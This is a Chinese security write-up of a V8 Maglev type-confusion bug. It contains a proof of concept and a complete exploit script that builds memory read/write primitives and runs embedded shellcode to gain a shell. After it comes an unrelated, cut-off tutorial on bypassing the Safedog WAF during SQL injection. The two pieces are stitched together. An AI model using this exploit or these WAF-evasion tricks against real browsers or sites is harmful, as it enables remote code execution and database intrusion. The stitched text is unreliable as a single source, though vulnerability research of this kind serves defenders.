class Base {constructor() { }}class Derived extends Base {constructor() {super(); // 当执行到这里时 }}Reflect.construct(Derived, [], Base);
|
||||
```
|
||||
|
||||
|
||||
|
||||
对于上面的代码,有两个类,分别是Base和Derived,Derived继承了Base。然后调用Reflect.construct创建了Derived对象。
|
||||
|
||||
|
||||
使用如下参数./d8 --allow-natives-syntax --maglev --print-bytecode ./poc.js
|
||||
执行这个脚本,会有这样的输出,重点看一下Derived函数。
|
||||
|
||||
|
||||
0x3f5c0019b0c1调用了FindNonDefaultConstructorOrConstruct
|
||||
这个函数,后续将一些寄存器赋值之后,有一个JumpIfTrue
|
||||
的判断,接着就是正常的返回操作。
|
||||
|
||||
|
||||
```
|
||||
[generated bytecode for function:Derived (0x3f5c0019ac6d <SharedFunctionInfo Derived>)]Bytecode length:39Parameter count 1Register count 7Frame size 56Bytecode age:00x3f5c0019b0be @ 0 :19 fe f9 Mov <closure>, r10x3f5c0019b0c1 @ 3 :5a f9 fa f5 FindNonDefaultConstructorOrConstruct r1, r0, r5-r60x3f5c0019b0c5 @ 7 :0b f5 Ldar r50x3f5c0019b0c7 @ 9 :19 f9 f8 Mov r1, r20x3f5c0019b0ca @ 12 :19 fa f6 Mov r0, r40x3f5c0019b0cd @ 15 :19 f4 f7 Mov r6, r30x3f5c0019b0d0 @ 18 :99 0c JumpIfTrue [12] (0x3f5c0019b0dc @ 30)0x3f5c0019b0d2 @ 20 :ae f7 ThrowIfNotSuperConstructor r30x3f5c0019b0d4 @ 22 :0b f6 Ldar r40x3f5c0019b0d6 @ 24 :69 f7 fa 00 00 Construct r3, r0-r0, [0]0x3f5c0019b0db @ 29 :c2 Star30x3f5c0019b0dc @ 30 :0b 02 Ldar <this>0x3f5c0019b0de @ 32 :ad ThrowSuperAlreadyCalledIfNotHole0x3f5c0019b0df @ 33 :19 f7 02 Mov r3, <this>0x3f5c0019b0e2 @ 36 :0b 02 Ldar <this>0x3f5c0019b0e4 @ 38 :aa ReturnConstant pool (size = 0)Handler Table (size = 0)Source Position Table (size = 0)
|
||||
```
|
||||
|
||||
|
||||
|
||||
接着通过上面的代码去分析VisitFindNonDefaultConstructorOrConstruct函数的源码。
|
||||
|
||||
|
||||
首先就是获取参数,this_function对应了Derived,new_target对应了Base,这里的register_pair是存储返回结果。
|
||||
|
||||
|
||||
```
|
||||
voidMaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() { ValueNode* this_function = LoadRegisterTagged(0); ValueNode* new_target = LoadRegisterTagged(1);auto register_pair = iterator_.GetRegisterPairOperand(2);
|
||||
```
|
||||
|
||||
|
||||
|
||||
接着获取this_function的ref,调用TryGetConstant方法,如果调用成功的话,那么就获取this_function的map的ref,这里获取的map是Derived函数(class 本质上还是一个函数)的map,接着获取Derived的原型对象。
|
||||
|
||||
|
||||
```
|
||||
if (compiler::OptionalHeapObjectRef constant =TryGetConstant(this_function)) { compiler::MapRef function_map = constant->map(broker()); compiler::HeapObjectRef current = function_map.prototype(broker());
|
||||
```
|
||||
|
||||
|
||||
|
||||
下面是一个很大的循环,推动循环执行的是这个语句current = current_function.map(broker()).prototype(broker()),本质上是顺着Derived的map向上查找原型,也就是遍历原型链,接着可以继续看这个循环体的逻辑。
|
||||
|
||||
|
||||
首先这里会去判断当前前遍历到的 prototype 对象是不是 JSFunction,接着获取这个function的ref,然后如果当前构造函数有实例字段(或类似需要初始化的成员),就不能跳过这个requires_instance_members_initializer构造函数,必须执行它的初始化逻辑,最后判断当前 class是否 有 private 字段或方法,不存在则会强制执行初始化逻辑。
|
||||
|
||||
|
||||
然后通过SFI(SharedFunctionInfo)去获取当前函数的类型,这里可以补充一下一些函数类型,下面就先解释下会用到的,全部的位于这里src/objects/function-kind.h文件里的FunctionKind枚举类里。
|
||||
|
||||
|
||||
◆kDefaultBaseConstructor
|
||||
- 默认的基类构造函数(class A {},没有自定义 constructor)
|
||||
|
||||
◆kDefaultDerivedConstructor
|
||||
- 默认的派生类构造函数(class B extends A {},没有自定义 constructor)
|
||||
|
||||
当获取到当前函数的类型之后,因为从Derived,所以这个判断kind == FunctionKind::kDefaultDerivedConstructor为true,先执行一个依赖保护,通常都是true。
|
||||
|
||||
|
||||
但是这里我们修改了Derived的构造函数内容,所以这里会返回false,所以会进入else逻辑,但是因为也不是FunctionKind::kDefaultBaseConstructor类型,所以会接着会遍历到上层,会获取到Base的prototype,判断是否为JSFunction时会转化为基类的构造函数,类型对应的是kDefaultBaseConstructor。然后也是执行依赖保护,从function map开始到current_function,也就是Derived开始到base。使用TryGetConstant获取当前构造函数的ref。接着通过if的判断,判断new_target_func函数是否存在且类型是JSFunction,然后调用FastObject分配快速对象,接着调用BuildAllocateFastObject分配对象,类型是kYoung,可以被gc回收。
|
||||
|
||||
|
||||
如果说这里原型链没有遍历到基类,那么这里的类型就不会是kDefaultBaseConstructor,从而进入else的逻辑,这里会调用BuildCallBuiltin分配对象。
|
||||
|
||||
|
||||
当所有的遍历流程接触,会将结果load到寄存器,最后返回:
|
||||
|
||||
|
||||
```
|
||||
while (true) {if (!current.IsJSFunction()) break; compiler::JSFunctionRef current_function = current.AsJSFunction();if (current_function.shared(broker()) .requires_instance_members_initializer()) {break; }if (current_function.context(broker()) .scope_info(broker()) .ClassScopeHasPrivateBrand()) {break; } FunctionKind kind = current_function.shared(broker()).kind();if (kind == FunctionKind::kDefaultDerivedConstructor) {if (!broker()->dependencies()->DependOnArrayIteratorProtector()) break; } else {broker()->dependencies()->DependOnStablePrototypeChain( function_map, WhereToStart::kStartAtReceiver, current_function); compiler::OptionalHeapObjectRef new_target_function =TryGetConstant(new_target);if (kind == FunctionKind::kDefaultBaseConstructor) { ValueNode* object;if (new_target_function && new_target_function->IsJSFunction()) { object = BuildAllocateFastObject(FastObject(new_target_function->AsJSFunction(), zone(),broker()), AllocationType::kYoung); } else { object = BuildCallBuiltin<Builtin::kFastNewObject>( {GetConstant(current_function), new_target}); }StoreRegister(register_pair.first, GetBooleanConstant(true));StoreRegister(register_pair.second, object);return; }break; }// Keep walking up the class tree. current = current_function.map(broker()).prototype(broker()); }StoreRegister(register_pair.first, GetBooleanConstant(false));StoreRegister(register_pair.second, GetConstant(current));return; }
|
||||
```
|
||||
|
||||
|
||||
|
||||
接着看一下FastObject的实现,位于/src/maglev/maglev-graph-builder.cc
|
||||
|
||||
可以看到这里其实都没有check,根据constructor.initial_map来初始化对象的map,对应上面的就是Base的initial map,然后根据当前Base的构造函数预测该构造函数实例化对象的最终属性数量和大小,最后就是为这个对象分配内存。
|
||||
|
||||
|
||||
```
|
||||
FastObject::FastObject(compiler::JSFunctionRef constructor, Zone* zone, compiler::JSHeapBroker* broker) : map(constructor.initial_map(broker)) { compiler::SlackTrackingPrediction prediction = broker->dependencies()->DependOnInitialMapInstanceSizePrediction( constructor); inobject_properties = prediction.inobject_property_count(); instance_size = prediction.instance_size(); fields = zone->NewArray<FastField>(inobject_properties);ClearFields(); elements = FastFixedArray();}
|
||||
```
|
||||
|
||||
|
||||
|
||||
这里是初始化操作
|
||||
|
||||
|
||||
```
|
||||
voidFastObject::ClearFields() {for (int i = 0; i < inobject_properties; i++) { fields[i] = FastField(); }}
|
||||
```
|
||||
|
||||
|
||||
|
||||
BuildAllocateFastObject的实现,位于/src/maglev/maglev-graph-builder.cc
|
||||
|
||||
基本上也没有什么检查,除了一个DCHECK,可以留意的是这里直接就根据传进来的快速对象去分配了,这里通过object.map去使用快速对象的map,对应上面的就是Base的initial map。
|
||||
|
||||
|
||||
其实到这里细心的读者应该是发现问题了,这里快速对象的分配不遵循之前的三个条件了,这里只判断了是current是否存在,且为JSFunction。
|
||||
|
||||
|
||||
回顾一下,成功进行快速对象分配的条件是
|
||||
|
||||
◆new_target的类型是JSFunction
|
||||
|
||||
◆new_target_func的initial map真实存在
|
||||
|
||||
◆target和new_target_constructor相同
|
||||
|
||||
|
||||
那么其实这里意味着我们通过这个路径,去分配出target(Derived)和new_target(Base)的map不一致的情况,也就是使用new_target的map去分配Derived对象,这样就会造成类型混淆了。
|
||||
|
||||
|
||||
同时结合上面分配的flag是AllocationType::kYoung,意味着内存可以被gc回收,那么就可以主动触发gc,从而导致使用到未被初始化的内存。
|
||||
|
||||
|
||||
```
|
||||
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject( FastObject object, AllocationType allocation_type) { SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());for (int i = 0; i < object.inobject_properties; ++i) { properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type); } ValueNode* elements =BuildAllocateFastObject(object.elements, allocation_type);DCHECK(object.map.IsJSObjectMap());// TODO(leszeks): Fold allocations. ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);BuildStoreReceiverMap(allocation, object.map); AddNewNode<StoreTaggedFieldNoWriteBarrier>( {allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},JSObject::kPropertiesOrHashOffset);if (object.js_array_length.has_value()) {BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length),JSArray::kLengthOffset); }BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);for (int i = 0; i < object.inobject_properties; ++i) {BuildStoreTaggedField(allocation, properties[i],object.map.GetInObjectPropertyOffset(i)); }return allocation;}
|
||||
```
|
||||
|
||||
|
||||
|
||||
所以现在就需要看下这个执行路径,这里最需要注意的是TryGetConstant,其他的正常路径都是会达到的。
|
||||
|
||||
|
||||
```
|
||||
TryGetConstant(this_function)current.IsJSFunction() !current_function.shared(broker() !current_function.context(broker() kind == FunctionKind::kDefaultBaseConstructorTryGetConstant(new_target) new_target_function && new_target_function->IsJSFunction()
|
||||
```
|
||||
|
||||
|
||||
|
||||
TryGetConstant函数的实现,位于/src/maglev/maglev-graph-builder.cc
|
||||
|
||||
这里的存在两个方法,一个static方法,一个成员方法,然后成员方法会调用到static方法。
|
||||
|
||||
|
||||
```
|
||||
// staticcompiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant( compiler::JSHeapBroker* broker, LocalIsolate* isolate, ValueNode* node) {if (Constant* c = node->TryCast<Constant>()) {return c->object(); }if (RootConstant* c = node->TryCast<RootConstant>()) {return MakeRef(broker, isolate->root_handle(c->index())).AsHeapObject(); }return {};}compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant( ValueNode* node, ValueNode** constant_node) {if (auto result = TryGetConstant(broker(), local_isolate(), node)) {if (constant_node) *constant_node = node;return result; }const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);if (info && info->is_constant()) {if (constant_node) *constant_node = info->constant_alternative;return TryGetConstant(info->constant_alternative); }return {};}
|
||||
```
|
||||
|
||||
|
||||
|
||||
存在有两个路径,第一个路径是用于直接常量,第二个路径是用于传播常量;
|
||||
|
||||
|
||||
◆
|
||||
直接常量
|
||||
- 字面量(如42、"hello"、true、null、undefined)
|
||||
|
||||
- 直接引用的全局对象(如Array、Object、Math等)
|
||||
|
||||
- 代码中直接出现的常量表达式
|
||||
|
||||
比如说这种:
|
||||
|
||||
|
||||
```
|
||||
let a = 42; // 42 是字面量let b = Array; // Array 是全局对象
|
||||
```
|
||||
|
||||
|
||||
|
||||
◆传播常量(需要语境推断的
|
||||
- 变量经过多次赋值、传递,但在当前优化路径下始终等于某个常量
|
||||
|
||||
- 经过内联、函数调用、条件分支分析后,优化器能确定某个值恒定
|
||||
|
||||
```
|
||||
function foo(x) {let y = x;return y + 1;}foo(42); // 如果优化器发现 x 恒等于 42,则 y 也可以视为常量
|
||||
```
|
||||
|
||||
|
||||
|
||||
可以通过使用直接常量的方式绕过。
|
||||
|
||||
|
||||
|
||||
**五、漏洞利用**
|
||||
|
||||
|
||||
|
||||
结合上面的分析,我们可以发现一个正常的快速对象分配是存在很多的检测,但是当Maglev在图建立阶段,分配快速对象的时候产生了问题,就是不会检测new_target和target的map是否一致,同时分配快速对象的时候使用的是new_target的initial map,因此如果二者的map不一致,那么这个可能会导致类型混淆的问题,常见的类型混淆就是JSObject和JSArray进行类型混淆。
|
||||
|
||||
|
||||
同时还需要思考的是如何让两个TryGetConstant成立,第一处对于this_funciton的判断,也就是对于target的判断,我们可以让这个变量一直不变,让Maglev判断这个值时恒定的,也就是属于上面分析的传播常量的情况;第二处对于new_target的判断,考虑到new_target的initial map还会作为快速对象的map,因此这里可以设置为Array,对应的也就是直接常量,这样就可以绕过第二处的TryGetConstant,同时实现类型混淆,也就是意图创建target的对象实例,但是使用了new_target的initial map分配。
|
||||
|
||||
|
||||
因为JSObject和JSArray的结构并不相同,这里会导致JSObject的in-object[0]这个字段会变成JSArray的Length字段,详细的可以看下面的两个对象的结构图。
|
||||
|
||||
|
||||
这里是JSObject的对象结构,**Elements后面是in-object[0]**
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
示例代码:
|
||||
|
||||
|
||||
```
|
||||
var a = {in_obj:1,in_obj2:2};a.out1 = 3;a.out2 = 4;%DebugPrint(a);
|
||||
```
|
||||
|
||||
|
||||
|
||||
不难看出elements后面就是2和4,右移1位之后就是in_obj1和in_obj2。然后out1和out2存储在properties中。
|
||||
|
||||
|
||||
```
|
||||
pwndbg> job 0x3d840004c9290x3d840004c929: [JS_OBJECT_TYPE]-map:0x3d840019b27d <Map[20](HOLEY_ELEMENTS)> [FastProperties]-prototype:0x3d8400184aa1 <Object map = 0x3d84001840dd> - elements: 0x3d8400000219 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x3d840004c9b5 <PropertyArray[3]> - All own properties (excluding elements): { 0x3d840019ab75: [String] in OldSpace: #in_obj: 1 (const data field 0), location: in-object 0x3d840019ab89: [String] in OldSpace: #in_obj2: 2 (const data field 1), location: in-object 0x3d840019ab9d: [String] in OldSpace: #out1: 3 (const data field 2), location: properties[0] 0x3d840019abad: [String] in OldSpace: #out2: 4 (const data field 3), location: properties[1] }pwndbg> x/32wx 0x3d840004c929-10x3d840004c928:0x0019b27d 0x0004c9b5 0x00000219 0x000000020x3d840004c938:0x00000004 0x00000129 0x00010001 0x00000000……pwndbg> job 0x3d840004c9b50x3d840004c9b5: [PropertyArray]-map:0x3d84000009c9 <Map(PROPERTY_ARRAY_TYPE)>-length:3-hash:00:31:42:0x3d8400000251 <undefined>pwndbg> x/32wx 0x3d840004c9b5-10x3d840004c9b4:0x000009c9 0x00000006 0x00000006 0x000000080x3d840004c9c4:0x00000251 0x00000129 0x00040004 0x00000000
|
||||
```
|
||||
|
||||
|
||||
|
||||
这里是JSArray对象的结构
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
示例代码
|
||||
|
||||
|
||||
```
|
||||
var arr = [1.1,2.2,3.3];%DebugPrint(arr);
|
||||
```
|
||||
|
||||
|
||||
输出
|
||||
|
||||
```
|
||||
pwndbg> job 0x9f20004c96d0x9f20004c96d: [JSArray]-map:0x09f20018ece5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]-prototype:0x09f20018e705 <JSArray[0]>-elements:0x09f20004c94d <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]-length:3-properties:0x09f200000219 <FixedArray[0]>-All own properties (excluding elements): {0x9f200000e0d: [String] in ReadOnlySpace:#length: 0x09f200144a3d <AccessorInfo name= 0x09f200000e0d <String[6]: #length>, data= 0x09f200000251 <undefined>> (const accessor descriptor), location: descriptor }-elements:0x09f20004c94d <FixedDoubleArray[3]> {0:1.11:2.22:3.3 }pwndbg> x/16wx 0x9f20004c96d-10x9f20004c96c:0x0018ece5 0x00000219 0x0004c94d 0x000000060x9f20004c97c:0x00000000 0x00000000 0x00000000 0x000000000x9f20004c98c:0x00000000 0x00000000 0x00000000 0x000000000x9f20004c99c:0x00000000 0x00000000 0x00000000 0x00000000
|
||||
```
|
||||
|
||||
|
||||
|
||||
因为使用Reflect.construct(Derived, [], Base);的时候无法创建in-object对象,所以这里混淆后的Length就只能为0,但是别忘了还有gc,我们可以主动触发gc,这样会使用到一些地址上残留的值,这样就会有一个oob了。
|
||||
|
||||
|
||||
因此下面是一个poc:
|
||||
|
||||
|
||||
```
|
||||
var x = Array;class Base {}class Derived extends Base {constructor() { x = new.target;super(); }}function construct() {var r = Reflect.construct(Derived, [], x);return r;}%PrepareFunctionForOptimization(Derived);construct();construct();%OptimizeMaglevOnNextCall(Derived);var arr = construct();// console.log(arr.length);%DebugPrint(arr);
|
||||
```
|
||||
|
||||
|
||||
|
||||
因为chrome执行会默认带--maglev这个flag,所以这里d8执行的时候需要加上--maglev,下面是输出,可以看到length字段已经出来了。
|
||||
|
||||
|
||||
```
|
||||
➜ x64.release git:(11.5.150.16) ./d8 --allow-natives-syntax --maglev ./poc.jsDebugPrint: 0xf490004c9e9: [JSArray]-map:0x0f490018e4c1 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]-prototype:0x0f490018e705 <JSArray[0]>-elements:0x0f4900000219 <FixedArray[0]> [PACKED_SMI_ELEMENTS]-length:0-properties:0x0f4900000219 <FixedArray[0]>-All own properties (excluding elements): {0xf4900000e0d: [String] in ReadOnlySpace:#length: 0x0f4900144a3d <AccessorInfo name= 0x0f4900000e0d <String[6]: #length>, data= 0x0f4900000251 <undefined>> (const accessor descriptor), location: descriptor }0xf490018e4c1: [Map] in OldSpace-type:JS_ARRAY_TYPE-instance size:16-inobject properties:0-elements kind:PACKED_SMI_ELEMENTS-unused property fields:0-enum length:invalid-back pointer:0x0f4900000251 <undefined>-prototype_validity cell:0x0f4900000ab9 <Cell value= 1> - instance descriptors #1: 0x0f490018ec71 <DescriptorArray[1]> - transitions #1: 0x0f490018ec8d <TransitionArray[4]>Transition array #1: 0x0f4900000ed1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x0f490018eca5 <Map[16](HOLEY_SMI_ELEMENTS)>-prototype:0x0f490018e705 <JSArray[0]>-constructor:0x0f490018e42d <JSFunction Array (sfi = 0xf490014b375)>-dependent code:0x0f490004c979 <Other heap object (WEAK_ARRAY_LIST_TYPE)>-construction counter:0
|
||||
```
|
||||
|
||||
|
||||
|
||||
方便查阅。
|
||||
|
||||
|
||||
有了一个oob的原语,下面的思路比较固定,我构造了这样的一个结构,首先堆喷一个victim_array(用对象初始化),这样Elements的地址相较于oob_array会相对稳定(这里笔者的机器信息见下方,然后这里oob_array的Elements在笔者机器上的offset稳定为0x219)。
|
||||
|
||||
|
||||
接着利用oob_array的oob去修改victim_array的elements元素,布置伪造的map(根据版本动态修改)和对象,然后布置这个fake_obj_addr,便于后续伪造fake_object,也就是一步到位直接有fakeObject原语了。
|
||||
|
||||
|
||||
然后victim_array的Elements首部可以布置一个obj,这样方便写addressOf的原语,通过oob_array越界写。
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
笔者机器使用的环境
|
||||
|
||||
|
||||
```
|
||||
➜ x64.release git:(11.5.150.16) ldd --versionldd (Ubuntu GLIBC 2.35-0ubuntu3.10) 2.35Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions. There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.Written by Roland McGrath and Ulrich Drepper.➜ x64.release git:(11.5.150.16) lsb_release -a No LSB modules are available.Distributor ID:UbuntuDescription:Ubuntu 22.04.4 LTSRelease:22.04Codename:jammy
|
||||
```
|
||||
|
||||
|
||||
****
|
||||
**遇到的一些问题**
|
||||
|
||||
|
||||
◆使用gdb调试的时候堆布局与直接使用shell运行不一样,最后笔者使用gdb attach解决了
|
||||
|
||||
|
||||
◆有了addressOf和fakeObject之后,AAR和AAW的功能必须是通过一个一个语句实现,编写函数则无法成功,很奇怪的问题
|
||||
|
||||
|
||||
◆使用oob_array的越界读功能读到一些地址会crash。一开始的思路是通过布置一个特征值,然后越界读,确定地址,然后接着后续利用,但是因为这个所以暂时先放弃了(不过布置下堆,缩小遍历的范围,应该还是可行的
|
||||
|
||||
|
||||
◆victim_array的elements因为是对象初始化的,所以索引的时候应该是offset/4
|
||||
|
||||
|
||||
exp
|
||||
> 笔者机器上,堆喷射后victim_array的elements地址只有这两个情况,0x2423cd和0x2423e9
|
||||
|
||||
|
||||
```
|
||||
var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u8 = new Uint8Array(buf);var u16 = new Uint16Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h;return f64[0];}function f64_to_u32l(val){ f64[0] = val;return u32[0];}function f64_to_u32h(val){ f64[0] = val;return u32[1];}function f64_to_u64(val){ f64[0] = val;return u64[0];}function u64_to_f64(val){ u64[0] = val;return f64[0];}function u64_to_u32_lo(val){ u64[0] = val;return u32[0];}function u64_to_u32_hi(val){ u64[0] = val;return u32[1];}function trigger_gc(){new Array(0x7fe00000);}function stop(){// %SystemBreak();console.log("Press Enter to continue...");readline();}function p(arg){ %DebugPrint(arg);}function spin(){while(1){};}function hex(str){return str.toString(16).padStart(16,0);}function logg(str,val){console.log("[+] "+ str + ": " + "0x" + hex(val));}// gain shellconst shellcode = () => {return [1.9553825422107533e-246,1.9560612558242147e-246,1.9995714719542577e-246,1.9533767332674093e-246,2.6348604765229606e-284];}for(let i = 0; i< 40000; i++){shellcode();}var x = Array;class Base {}class Derived extends Base {constructor() { x = new.target;super(); }}function construct() {var res = Reflect.construct(Derived, [], x);return res;}for (let i = 0; i < 2000; i++) construct();trigger_gc();trigger_gc();var oob_array = construct();oob_array = construct();// p(oob_array);// console.log(oob_array.length);var confused_element_addr = 0x219+7;var element_addr = 0x2423e9 - 1;var element_addr_start = element_addr + 8;var fake_map_addr = element_addr + 0x1000;var fake_object_addr = element_addr + 0x2000;var saved_fake_object_addr = element_addr + 0x100;logg("confused_element_addr", confused_element_addr);logg("element_addr", element_addr);logg("element_addr_start", element_addr_start);logg("fake_map_addr", fake_map_addr);logg("fake_object_addr", fake_object_addr);new Array(0x7f00).fill({});var victim_array = new Array(0x7f00).fill({});// p(victim_array);oob_array[(fake_map_addr - confused_element_addr)/8] = u64_to_f64(0x2c04040400000061n);oob_array[(fake_map_addr - confused_element_addr)/8 + 1] = u64_to_f64(0x0a0007ff11000842n);oob_array[(fake_object_addr - confused_element_addr)/8] = lh_u32_to_f64(fake_map_addr+1,0x0);oob_array[(fake_object_addr - confused_element_addr)/8 + 1] = lh_u32_to_f64(0x1000,0x1000);oob_array[(saved_fake_object_addr - confused_element_addr)/8] = lh_u32_to_f64(fake_object_addr+1,fake_object_addr+1);var fake_object = victim_array[(saved_fake_object_addr - element_addr_start)/4];// console.log(typeof fake_object);// p(fake_object);function addressOf(obj){ victim_array[0] = obj;return u64_to_u32_lo(f64_to_u64(oob_array[(element_addr_start - confused_element_addr)/8]));}// p(shellcode);var shellcode_addr = addressOf(shellcode);oob_array[(fake_object_addr - confused_element_addr)/8 + 1] = lh_u32_to_f64(shellcode_addr - 8 + 0x18,0x1000);var code_addr = u64_to_u32_lo(f64_to_u64(fake_object[0]));oob_array[(fake_object_addr - confused_element_addr)/8 + 1] = lh_u32_to_f64(code_addr - 8 + 0x10,0x1000);var ins_base = (f64_to_u64(fake_object[0]));var rop_addr = ins_base + 0x56n;fake_object[0] = u64_to_f64(rop_addr);logg("shellcode_addr", shellcode_addr);logg("code_addr", code_addr);logg("ins_base", ins_base);logg("rop_addr", rop_addr);// stop();shellcode();// spin();
|
||||
```
|
||||
|
||||
|
||||

|
||||

|
||||
# 参考文章见『阅读原文』
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
看雪ID:
|
||||
flyyyy
|
||||
|
||||
https://bbs.kanxue.com/user-home-971428.htm
|
||||
|
||||
*本文为看雪论坛精华文章,由
|
||||
flyyyy
|
||||
|
||||
原创,转载请注明来自看雪社区
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458593263&idx=1&sn=b3503a7dded4e013a4cc644bedbabb48&scene=21#wechat_redirect)
|
||||
|
||||
议题征集中!欢迎投稿
|
||||
|
||||
看雪·第九届安全开发者峰会(SDC 2025)
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
[安卓旧系统 OTA 包分析与漏洞提权适配](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597312&idx=2&sn=45995d7633ae08c6ed2c67558e2810f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[XCTF L3HCTF 2025 pwn 方向解题思路](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597249&idx=1&sn=a4529197ddeac7601ea5b4ff554ff792&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Pwn题解析|L3CTF 2025 heack & heack_revenge](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597210&idx=1&sn=2289e614415fe24346eacab4e5cfcbf7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[OLLVM-BR间接混淆去除](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597085&idx=1&sn=05c4aed3f2d60d82a198885a8189a678&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[House of Einherjar](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458597084&idx=1&sn=ca4e66457374c26b80af6fc57d7f87ad&scene=21#wechat_redirect)
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**球分享**
|
||||
|
||||

|
||||
|
||||
**球点赞**
|
||||
|
||||

|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||

|
||||
|
||||
点击阅读原文查看更多
|
||||
|
||||
@@ -0,0 +1,347 @@
|
||||
# WAF绕过-漏洞利用篇-sql注入+文件上传-过狗
|
||||
原创 兰陵猪猪哼 小黑子安全 2025-07-22 04:13
|
||||
|
||||
WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。
|
||||
|
||||
1、什么是WAF?
|
||||
|
||||
Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策略来专门为web应用提供保护的一款产品。
|
||||
|
||||
基本可以分为以下4种:
|
||||
|
||||
软件型WAF
|
||||
|
||||
以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。
|
||||
|
||||
硬件型WAF
|
||||
|
||||
以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。
|
||||
|
||||
云WAF
|
||||
|
||||
一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器。
|
||||
|
||||
网站内置的WAF
|
||||
|
||||
就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的。
|
||||
|
||||
2、如何判断WAF?
|
||||
|
||||
Wafw00f识别工具:
|
||||
https://github.com/EnableSecurity/wafw00f
|
||||
|
||||
看图识别:
|
||||
https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ
|
||||
|
||||
其他项目脚本平台。
|
||||
|
||||
3
|
||||
、目前有哪些常见WAF产品?
|
||||
|
||||
参考:https://blog.csdn.net/w2sft/article/details/104533082/
|
||||
|
||||
①硬件型
|
||||
|
||||
硬件型WAF以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护,是最为传统的WAF型态,在受访企业中部署占比为35.2%。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等老牌厂商旗下的WAF都属于此类。
|
||||
|
||||
②软件型
|
||||
|
||||
这种类型的WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、ShareWAF、安全狗等。
|
||||
|
||||
③云WAF
|
||||
|
||||
随着云计算技术的快速发展,使得基于云的WAF实现成为可能,在本次调查中占比甚至超过了传统的硬件WAF跃升为第一位,达到39.4%。阿里云、腾讯云、深信服云WAF、Imperva WAF是这类WAF的典型代表。
|
||||
|
||||
常规
|
||||
WAF
|
||||
检测技术:
|
||||
|
||||
1.
|
||||
正则匹配——容易被绕过(使用加密,编码,分段等)
|
||||
|
||||
2.
|
||||
机器语言
|
||||
|
||||
3.
|
||||
行为分析
|
||||
|
||||
安全狗绕过
|
||||
-
|
||||
sql
|
||||
注入
|
||||
&
|
||||
文件上传
|
||||
|
||||
sql
|
||||
注入安全狗绕过:
|
||||
|
||||
1.
|
||||
关键字替换
|
||||
/
|
||||
关键字重复
|
||||
|
||||
测试注入点,发现被拦截
|
||||
|
||||

|
||||
|
||||
将
|
||||
and
|
||||
参数更改为
|
||||
like
|
||||
,成功绕过
|
||||
|
||||

|
||||
|
||||
还可以双写关键字绕过
|
||||
|
||||

|
||||
|
||||
2.
|
||||
更换提交方式绕过
|
||||
|
||||
如:安全狗只默认开启检测
|
||||
url
|
||||
,不会检测
|
||||
post
|
||||
|
||||

|
||||
|
||||
开始绕过
|
||||
|
||||
burp
|
||||
抓包——发送给
|
||||
Repeater
|
||||
——右键选择
|
||||
Change request method
|
||||
|
||||

|
||||
|
||||
更改为
|
||||
post
|
||||
请求,开始注入测试
|
||||
|
||||

|
||||
|
||||
更改正文编码绕过
|
||||
|
||||

|
||||
|
||||
3.
|
||||
HPP参数污染——使用网站安全狗
|
||||
(
|
||||
apache
|
||||
)4.0
|
||||
版本无法绕过
|
||||
|
||||
此方法利用的是中间件特性
